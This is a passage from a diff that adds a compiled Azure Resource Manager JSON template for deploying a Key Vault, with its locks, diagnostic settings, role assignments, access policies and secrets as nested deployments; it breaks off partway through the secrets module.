"nullable": true + }, + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + }, + "privateEndpointType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private endpoint." + } + }, + "location": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The location to deploy the private endpoint to." + } + }, + "privateLinkServiceConnectionName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private link connection to create." + } + }, + "service": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The subresource to deploy the private endpoint for. For example \"vault\", \"mysqlServer\" or \"dataFactory\"." + } + }, + "subnetResourceId": { + "type": "string", + "metadata": { + "description": "Required. Resource ID of the subnet where the endpoint needs to be created." + } + }, + "privateDnsZoneGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The name of the private DNS zone group to create if `privateDnsZoneResourceIds` were provided." + } + }, + "privateDnsZoneResourceIds": { + "type": "array", + "items": { + "type": "string" + }, + "nullable": true, + "metadata": { + "description": "Optional. The private DNS zone groups to associate the private endpoint with. A DNS zone group can support up to 5 DNS zones." + } + }, + "isManualConnection": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. If Manual Private Link Connection is required." + } + }, + "manualConnectionRequestMessage": { + "type": "string", + "nullable": true, + "maxLength": 140, + "metadata": { + "description": "Optional. A message passed to the owner of the remote resource with the manual connection request." + } + }, + "customDnsConfigs": { + "type": "array", + "items": { + "type": "object", + "properties": { + "fqdn": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Required. Fqdn that resolves to private endpoint IP address." + } + }, + "ipAddresses": { + "type": "array", + "items": { + "type": "string" + }, + "metadata": { + "description": "Required. A list of private IP addresses of the private endpoint." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. Custom DNS configurations." + } + }, + "ipConfigurations": { + "type": "array", + "items": { + "type": "object", + "properties": { + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the resource that is unique within a resource group." + } + }, + "properties": { + "type": "object", + "properties": { + "groupId": { + "type": "string", + "metadata": { + "description": "Required. The ID of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "memberName": { + "type": "string", + "metadata": { + "description": "Required. The member name of a group obtained from the remote resource that this private endpoint should connect to." + } + }, + "privateIPAddress": { + "type": "string", + "metadata": { + "description": "Required. A private IP address obtained from the private endpoint's subnet." + } + } + }, + "metadata": { + "description": "Required. Properties of private endpoint IP configurations." + } + } + } + }, + "nullable": true, + "metadata": { + "description": "Optional. A list of IP configurations of the private endpoint. This will be used to map to the First Party Service endpoints." + } + }, + "applicationSecurityGroupResourceIds": { + "type": "array", + "items": { + "type": "string" + }, + "nullable": true, + "metadata": { + "description": "Optional. Application security groups in which the private endpoint IP configuration is included." + } + }, + "customNetworkInterfaceName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The custom name of the network interface attached to the private endpoint." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. Specify the type of lock." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Tags to be applied on all resources/resource groups in this deployment." + } + }, + "enableTelemetry": { + "type": "bool", + "nullable": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + }, + "resourceGroupName": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify if you want to deploy the Private Endpoint into a different resource group than the main resource." + } + } + } + }, + "nullable": true + }, + "lockType": { + "type": "object", + "properties": { + "name": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Specify the name of lock." + } + }, + "kind": { + "type": "string", + "allowedValues": [ + "CanNotDelete", + "None", + "ReadOnly" + ], + "nullable": true, + "metadata": { + "description": "Optional. Specify the type of lock." + } + } + }, + "nullable": true + }, + "accessPoliciesType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "tenantId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The tenant ID that is used for authenticating requests to the key vault." + } + }, + "objectId": { + "type": "string", + "metadata": { + "description": "Required. The object ID of a user, service principal or security group in the tenant for the vault." + } + }, + "applicationId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Application ID of the client making request on behalf of a principal." + } + }, + "permissions": { + "type": "object", + "properties": { + "keys": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "decrypt", + "delete", + "encrypt", + "get", + "getrotationpolicy", + "import", + "list", + "purge", + "recover", + "release", + "restore", + "rotate", + "setrotationpolicy", + "sign", + "unwrapKey", + "update", + "verify", + "wrapKey" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to keys." + } + }, + "secrets": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "get", + "list", + "purge", + "recover", + "restore", + "set" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to secrets." + } + }, + "certificates": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "delete", + "deleteissuers", + "get", + "getissuers", + "import", + "list", + "listissuers", + "managecontacts", + "manageissuers", + "purge", + "recover", + "restore", + "setissuers", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to certificates." + } + }, + "storage": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "deletesas", + "get", + "getsas", + "list", + "listsas", + "purge", + "recover", + "regeneratekey", + "restore", + "set", + "setsas", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to storage accounts." + } + } + }, + "metadata": { + "description": "Required. Permissions the identity has for keys, secrets and certificates." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "name": { + "type": "string", + "maxLength": 24, + "metadata": { + "description": "Required. Name of the Key Vault. Must be globally unique." + } + }, + "location": { + "type": "string", + "defaultValue": "[resourceGroup().location]", + "metadata": { + "description": "Optional. Location for all resources." + } + }, + "accessPolicies": { + "$ref": "#/definitions/accessPoliciesType", + "metadata": { + "description": "Optional. All access policies to create." + } + }, + "secrets": { + "type": "secureObject", + "nullable": true, + "metadata": { + "description": "Optional. All secrets to create." + } + }, + "keys": { + "type": "array", + "nullable": true, + "metadata": { + "description": "Optional. All keys to create." + } + }, + "enableVaultForDeployment": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the vault is enabled for deployment by script or compute." + } + }, + "enableVaultForTemplateDeployment": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the vault is enabled for a template deployment." + } + }, + "enableVaultForDiskEncryption": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Specifies if the azure platform has access to the vault for enabling disk encryption scenarios." + } + }, + "enableSoftDelete": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Switch to enable/disable Key Vault's soft delete feature." + } + }, + "softDeleteRetentionInDays": { + "type": "int", + "defaultValue": 90, + "metadata": { + "description": "Optional. softDelete data retention days. It accepts >=7 and <=90." + } + }, + "enableRbacAuthorization": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Property that controls how data actions are authorized. When true, the key vault will use Role Based Access Control (RBAC) for authorization of data actions, and the access policies specified in vault properties will be ignored. When false, the key vault will use the access policies specified in vault properties, and any policy stored on Azure Resource Manager will be ignored. Note that management actions are always authorized with RBAC." + } + }, + "createMode": { + "type": "string", + "defaultValue": "default", + "metadata": { + "description": "Optional. The vault's create mode to indicate whether the vault need to be recovered or not. - recover or default." + } + }, + "enablePurgeProtection": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Provide 'true' to enable Key Vault's purge protection feature." + } + }, + "sku": { + "type": "string", + "defaultValue": "premium", + "allowedValues": [ + "premium", + "standard" + ], + "metadata": { + "description": "Optional. Specifies the SKU for the vault." + } + }, + "networkAcls": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Rules governing the accessibility of the resource from specific network locations." + } + }, + "publicNetworkAccess": { + "type": "string", + "defaultValue": "", + "allowedValues": [ + "", + "Enabled", + "Disabled" + ], + "metadata": { + "description": "Optional. Whether or not public network access is allowed for this resource. For security reasons it should be disabled. If not specified, it will be disabled by default if private endpoints are set and networkAcls are not set." + } + }, + "lock": { + "$ref": "#/definitions/lockType", + "metadata": { + "description": "Optional. The lock settings of the service." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + }, + "privateEndpoints": { + "$ref": "#/definitions/privateEndpointType", + "metadata": { + "description": "Optional. Configuration details for private endpoints. For security reasons, it is recommended to use private endpoints whenever possible." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "diagnosticSettings": { + "$ref": "#/definitions/diagnosticSettingType", + "metadata": { + "description": "Optional. The diagnostic settings of the service." + } + }, + "enableTelemetry": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Enable/Disable usage telemetry for module." + } + } + }, + "variables": { + "copy": [ + { + "name": "formattedAccessPolicies", + "count": "[length(coalesce(parameters('accessPolicies'), createArray()))]", + "input": { + "applicationId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'applicationId'), '')]", + "objectId": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].objectId]", + "permissions": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].permissions]", + "tenantId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'tenantId'), tenant().tenantId)]" + } + } + ], + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '00482a5a-887f-4fb3-b363-3b7fe8e74483')]", + "Key Vault Certificates Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'a4417e6f-fecd-4de8-b567-7b0420556985')]", + "Key Vault Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f25e0fa2-a7c8-4377-a976-54943a77a395')]", + "Key Vault Crypto Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '14b46e9e-c2b7-41b4-b07b-48a6ebf60603')]", + "Key Vault Crypto Service Encryption User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'e147488a-f6f5-4113-8e2d-b22465e65bf6')]", + "Key Vault Crypto User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '12338af0-0e69-4776-bea7-57ae8d297424')]", + "Key Vault Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '21090545-7ca7-4776-b22c-e363652d74d2')]", + "Key Vault Secrets Officer": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b86a8fe4-44ce-4948-aee5-eccb2c155cd7')]", + "Key Vault Secrets User": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '4633458b-17de-408a-b874-0445c86b69e6')]", + "Owner": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635')]", + "Reader": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'acdd72a7-3385-48ef-bd42-f606fba81ae7')]", + "Role Based Access Control Administrator (Preview)": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'f58310d9-a9f6-439a-9e8d-f62e7b41a168')]", + "User Access Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', '18d7d88d-d35e-4fb5-a5c3-7773c20a72d9')]" + }, + "secretList": "[coalesce(tryGet(parameters('secrets'), 'secureList'), createArray())]" + }, + "resources": { + "avmTelemetry": { + "condition": "[parameters('enableTelemetry')]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2023-07-01", + "name": "[format('46d3xbcp.res.keyvault-vault.{0}.{1}', replace('0.5.1', '.', '-'), substring(uniqueString(deployment().name, parameters('location')), 0, 4))]", + "properties": { + "mode": "Incremental", + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "contentVersion": "1.0.0.0", + "resources": [], + "outputs": { + "telemetry": { + "type": "String", + "value": "For more information, see https://aka.ms/avm/TelemetryInfo" + } + } + } + } + }, + "keyVault": { + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('name')]", + "location": "[parameters('location')]", + "tags": "[parameters('tags')]", + "properties": { + "enabledForDeployment": "[parameters('enableVaultForDeployment')]", + "enabledForTemplateDeployment": "[parameters('enableVaultForTemplateDeployment')]", + "enabledForDiskEncryption": "[parameters('enableVaultForDiskEncryption')]", + "enableSoftDelete": "[parameters('enableSoftDelete')]", + "softDeleteRetentionInDays": "[parameters('softDeleteRetentionInDays')]", + "enableRbacAuthorization": "[parameters('enableRbacAuthorization')]", + "createMode": "[parameters('createMode')]", + "enablePurgeProtection": "[if(parameters('enablePurgeProtection'), parameters('enablePurgeProtection'), null())]", + "tenantId": "[subscription().tenantId]", + "accessPolicies": "[variables('formattedAccessPolicies')]", + "sku": { + "name": "[parameters('sku')]", + "family": "A" + }, + "networkAcls": "[if(not(empty(coalesce(parameters('networkAcls'), createObject()))), createObject('bypass', tryGet(parameters('networkAcls'), 'bypass'), 'defaultAction', tryGet(parameters('networkAcls'), 'defaultAction'), 'virtualNetworkRules', coalesce(tryGet(parameters('networkAcls'), 'virtualNetworkRules'), createArray()), 'ipRules', coalesce(tryGet(parameters('networkAcls'), 'ipRules'), createArray())), null())]", + "publicNetworkAccess": "[if(not(empty(parameters('publicNetworkAccess'))), parameters('publicNetworkAccess'), if(and(not(empty(coalesce(parameters('privateEndpoints'), createArray()))), empty(coalesce(parameters('networkAcls'), createObject()))), 'Disabled', null()))]" + } + }, + "keyVault_lock": { + "condition": "[and(not(empty(coalesce(parameters('lock'), createObject()))), not(equals(tryGet(parameters('lock'), 'kind'), 'None')))]", + "type": "Microsoft.Authorization/locks", + "apiVersion": "2020-05-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('name'))]", + "name": "[coalesce(tryGet(parameters('lock'), 'name'), format('lock-{0}', parameters('name')))]", + "properties": { + "level": "[coalesce(tryGet(parameters('lock'), 'kind'), '')]", + "notes": "[if(equals(tryGet(parameters('lock'), 'kind'), 'CanNotDelete'), 'Cannot delete resource or child resources.', 'Cannot delete or modify the resource or child resources.')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_diagnosticSettings": { + "copy": { + "name": "keyVault_diagnosticSettings", + "count": "[length(coalesce(parameters('diagnosticSettings'), createArray()))]" + }, + "type": "Microsoft.Insights/diagnosticSettings", + "apiVersion": "2021-05-01-preview", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('name'))]", + "name": "[coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'name'), format('{0}-diagnosticSettings', parameters('name')))]", + "properties": { + "copy": [ + { + "name": "metrics", + "count": "[length(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics'))))]", + "input": { + "category": "[coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics')))[copyIndex('metrics')].category]", + "enabled": "[coalesce(tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'metricCategories'), createArray(createObject('category', 'AllMetrics')))[copyIndex('metrics')], 'enabled'), true())]", + "timeGrain": null + } + }, + { + "name": "logs", + "count": "[length(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs'))))]", + "input": { + "categoryGroup": "[tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'categoryGroup')]", + "category": "[tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'category')]", + "enabled": "[coalesce(tryGet(coalesce(tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logCategoriesAndGroups'), createArray(createObject('categoryGroup', 'allLogs')))[copyIndex('logs')], 'enabled'), true())]" + } + } + ], + "storageAccountId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'storageAccountResourceId')]", + "workspaceId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'workspaceResourceId')]", + "eventHubAuthorizationRuleId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'eventHubAuthorizationRuleResourceId')]", + "eventHubName": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'eventHubName')]", + "marketplacePartnerId": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'marketplacePartnerResourceId')]", + "logAnalyticsDestinationType": "[tryGet(coalesce(parameters('diagnosticSettings'), createArray())[copyIndex()], 'logAnalyticsDestinationType')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_roleAssignments": { + "copy": { + "name": "keyVault_roleAssignments", + "count": "[length(coalesce(parameters('roleAssignments'), createArray()))]" + }, + "type": "Microsoft.Authorization/roleAssignments", + "apiVersion": "2022-04-01", + "scope": "[format('Microsoft.KeyVault/vaults/{0}', parameters('name'))]", + "name": "[guid(resourceId('Microsoft.KeyVault/vaults', parameters('name')), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId, coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)]", + "properties": { + "roleDefinitionId": "[if(contains(variables('builtInRoleNames'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName), variables('builtInRoleNames')[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName], if(contains(coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, '/providers/Microsoft.Authorization/roleDefinitions/'), coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName, subscriptionResourceId('Microsoft.Authorization/roleDefinitions', coalesce(parameters('roleAssignments'), createArray())[copyIndex()].roleDefinitionIdOrName)))]", + "principalId": "[coalesce(parameters('roleAssignments'), createArray())[copyIndex()].principalId]", + "description": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'description')]", + "principalType": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'principalType')]", + "condition": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition')]", + "conditionVersion": "[if(not(empty(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'condition'))), coalesce(tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'conditionVersion'), '2.0'), null())]", + "delegatedManagedIdentityResourceId": "[tryGet(coalesce(parameters('roleAssignments'), createArray())[copyIndex()], 'delegatedManagedIdentityResourceId')]" + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_accessPolicies": { + "condition": "[not(empty(parameters('accessPolicies')))]", + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-AccessPolicies', uniqueString(deployment().name, parameters('location')))]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "keyVaultName": { + "value": "[parameters('name')]" + }, + "accessPolicies": { + "value": "[parameters('accessPolicies')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "10878813547461142217" + }, + "name": "Key Vault Access Policies", + "description": "This module deploys a Key Vault Access Policy.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "accessPoliciesType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "tenantId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The tenant ID that is used for authenticating requests to the key vault." + } + }, + "objectId": { + "type": "string", + "metadata": { + "description": "Required. The object ID of a user, service principal or security group in the tenant for the vault." + } + }, + "applicationId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. Application ID of the client making request on behalf of a principal." + } + }, + "permissions": { + "type": "object", + "properties": { + "keys": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "decrypt", + "delete", + "encrypt", + "get", + "getrotationpolicy", + "import", + "list", + "purge", + "recover", + "release", + "restore", + "rotate", + "setrotationpolicy", + "sign", + "unwrapKey", + "update", + "verify", + "wrapKey" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to keys." + } + }, + "secrets": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "get", + "list", + "purge", + "recover", + "restore", + "set" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to secrets." + } + }, + "certificates": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "create", + "delete", + "deleteissuers", + "get", + "getissuers", + "import", + "list", + "listissuers", + "managecontacts", + "manageissuers", + "purge", + "recover", + "restore", + "setissuers", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to certificates." + } + }, + "storage": { + "type": "array", + "allowedValues": [ + "all", + "backup", + "delete", + "deletesas", + "get", + "getsas", + "list", + "listsas", + "purge", + "recover", + "regeneratekey", + "restore", + "set", + "setsas", + "update" + ], + "nullable": true, + "metadata": { + "description": "Optional. Permissions to storage accounts." + } + } + }, + "metadata": { + "description": "Required. Permissions the identity has for keys, secrets and certificates." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "accessPolicies": { + "$ref": "#/definitions/accessPoliciesType", + "metadata": { + "description": "Optional. An array of 0 to 16 identities that have access to the key vault. All identities in the array must use the same tenant ID as the key vault's tenant ID." + } + } + }, + "variables": { + "copy": [ + { + "name": "formattedAccessPolicies", + "count": "[length(coalesce(parameters('accessPolicies'), createArray()))]", + "input": { + "applicationId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'applicationId'), '')]", + "objectId": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].objectId]", + "permissions": "[coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')].permissions]", + "tenantId": "[coalesce(tryGet(coalesce(parameters('accessPolicies'), createArray())[copyIndex('formattedAccessPolicies')], 'tenantId'), tenant().tenantId)]" + } + } + ] + }, + "resources": { + "keyVault": { + "existing": true, + "type": "Microsoft.KeyVault/vaults", + "apiVersion": "2022-07-01", + "name": "[parameters('keyVaultName')]" + }, + "policies": { + "type": "Microsoft.KeyVault/vaults/accessPolicies", + "apiVersion": "2022-07-01", + "name": "[format('{0}/{1}', parameters('keyVaultName'), 'add')]", + "properties": { + "accessPolicies": "[variables('formattedAccessPolicies')]" + }, + "dependsOn": [ + "keyVault" + ] + } + }, + "outputs": { + "resourceGroupName": { + "type": "string", + "metadata": { + "description": "The name of the resource group the access policies assignment was created in." + }, + "value": "[resourceGroup().name]" + }, + "name": { + "type": "string", + "metadata": { + "description": "The name of the access policies assignment." + }, + "value": "add" + }, + "resourceId": { + "type": "string", + "metadata": { + "description": "The resource ID of the access policies assignment." + }, + "value": "[resourceId('Microsoft.KeyVault/vaults/accessPolicies', parameters('keyVaultName'), 'add')]" + } + } + } + }, + "dependsOn": [ + "keyVault" + ] + }, + "keyVault_secrets": { + "copy": { + "name": "keyVault_secrets", + "count": "[length(variables('secretList'))]" + }, + "type": "Microsoft.Resources/deployments", + "apiVersion": "2022-09-01", + "name": "[format('{0}-KeyVault-Secret-{1}', uniqueString(deployment().name, parameters('location')), copyIndex())]", + "properties": { + "expressionEvaluationOptions": { + "scope": "inner" + }, + "mode": "Incremental", + "parameters": { + "name": { + "value": "[variables('secretList')[copyIndex()].name]" + }, + "value": { + "value": "[variables('secretList')[copyIndex()].value]" + }, + "keyVaultName": { + "value": "[parameters('name')]" + }, + "attributesEnabled": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesEnabled')]" + }, + "attributesExp": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesExp')]" + }, + "attributesNbf": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'attributesNbf')]" + }, + "contentType": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'contentType')]" + }, + "tags": { + "value": "[coalesce(tryGet(variables('secretList')[copyIndex()], 'tags'), parameters('tags'))]" + }, + "roleAssignments": { + "value": "[tryGet(variables('secretList')[copyIndex()], 'roleAssignments')]" + } + }, + "template": { + "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", + "languageVersion": "2.0", + "contentVersion": "1.0.0.0", + "metadata": { + "_generator": { + "name": "bicep", + "version": "0.26.54.24096", + "templateHash": "1877278864243602204" + }, + "name": "Key Vault Secrets", + "description": "This module deploys a Key Vault Secret.", + "owner": "Azure/module-maintainers" + }, + "definitions": { + "roleAssignmentType": { + "type": "array", + "items": { + "type": "object", + "properties": { + "roleDefinitionIdOrName": { + "type": "string", + "metadata": { + "description": "Required. The role to assign. You can provide either the display name of the role definition, the role definition GUID, or its fully qualified ID in the following format: '/providers/Microsoft.Authorization/roleDefinitions/c2f4ef07-c644-48eb-af81-4b1b4947fb11'." + } + }, + "principalId": { + "type": "string", + "metadata": { + "description": "Required. The principal ID of the principal (user/group/identity) to assign the role to." + } + }, + "principalType": { + "type": "string", + "allowedValues": [ + "Device", + "ForeignGroup", + "Group", + "ServicePrincipal", + "User" + ], + "nullable": true, + "metadata": { + "description": "Optional. The principal type of the assigned principal ID." + } + }, + "description": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The description of the role assignment." + } + }, + "condition": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The conditions on the role assignment. This limits the resources it can be assigned to. e.g.: @Resource[Microsoft.Storage/storageAccounts/blobServices/containers:ContainerName] StringEqualsIgnoreCase \"foo_storage_container\"." + } + }, + "conditionVersion": { + "type": "string", + "allowedValues": [ + "2.0" + ], + "nullable": true, + "metadata": { + "description": "Optional. Version of the condition." + } + }, + "delegatedManagedIdentityResourceId": { + "type": "string", + "nullable": true, + "metadata": { + "description": "Optional. The Resource Id of the delegated managed identity resource." + } + } + } + }, + "nullable": true + } + }, + "parameters": { + "keyVaultName": { + "type": "string", + "metadata": { + "description": "Conditional. The name of the parent key vault. Required if the template is used in a standalone deployment." + } + }, + "name": { + "type": "string", + "metadata": { + "description": "Required. The name of the secret." + } + }, + "tags": { + "type": "object", + "nullable": true, + "metadata": { + "description": "Optional. Resource tags." + } + }, + "attributesEnabled": { + "type": "bool", + "defaultValue": true, + "metadata": { + "description": "Optional. Determines whether the object is enabled." + } + }, + "attributesExp": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Expiry date in seconds since 1970-01-01T00:00:00Z. For security reasons, it is recommended to set an expiration date whenever possible." + } + }, + "attributesNbf": { + "type": "int", + "nullable": true, + "metadata": { + "description": "Optional. Not before date in seconds since 1970-01-01T00:00:00Z." + } + }, + "contentType": { + "type": "securestring", + "nullable": true, + "metadata": { + "description": "Optional. The content type of the secret." + } + }, + "value": { + "type": "securestring", + "metadata": { + "description": "Required. The value of the secret. NOTE: \"value\" will never be returned from the service, as APIs using this model are is intended for internal use in ARM deployments. Users should use the data-plane REST service for interaction with vault secrets." + } + }, + "roleAssignments": { + "$ref": "#/definitions/roleAssignmentType", + "metadata": { + "description": "Optional. Array of role assignments to create." + } + } + }, + "variables": { + "builtInRoleNames": { + "Contributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'b24988ac-6180-42a0-ab88-20f7382dd24c')]", + "Key Vault Administrator": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 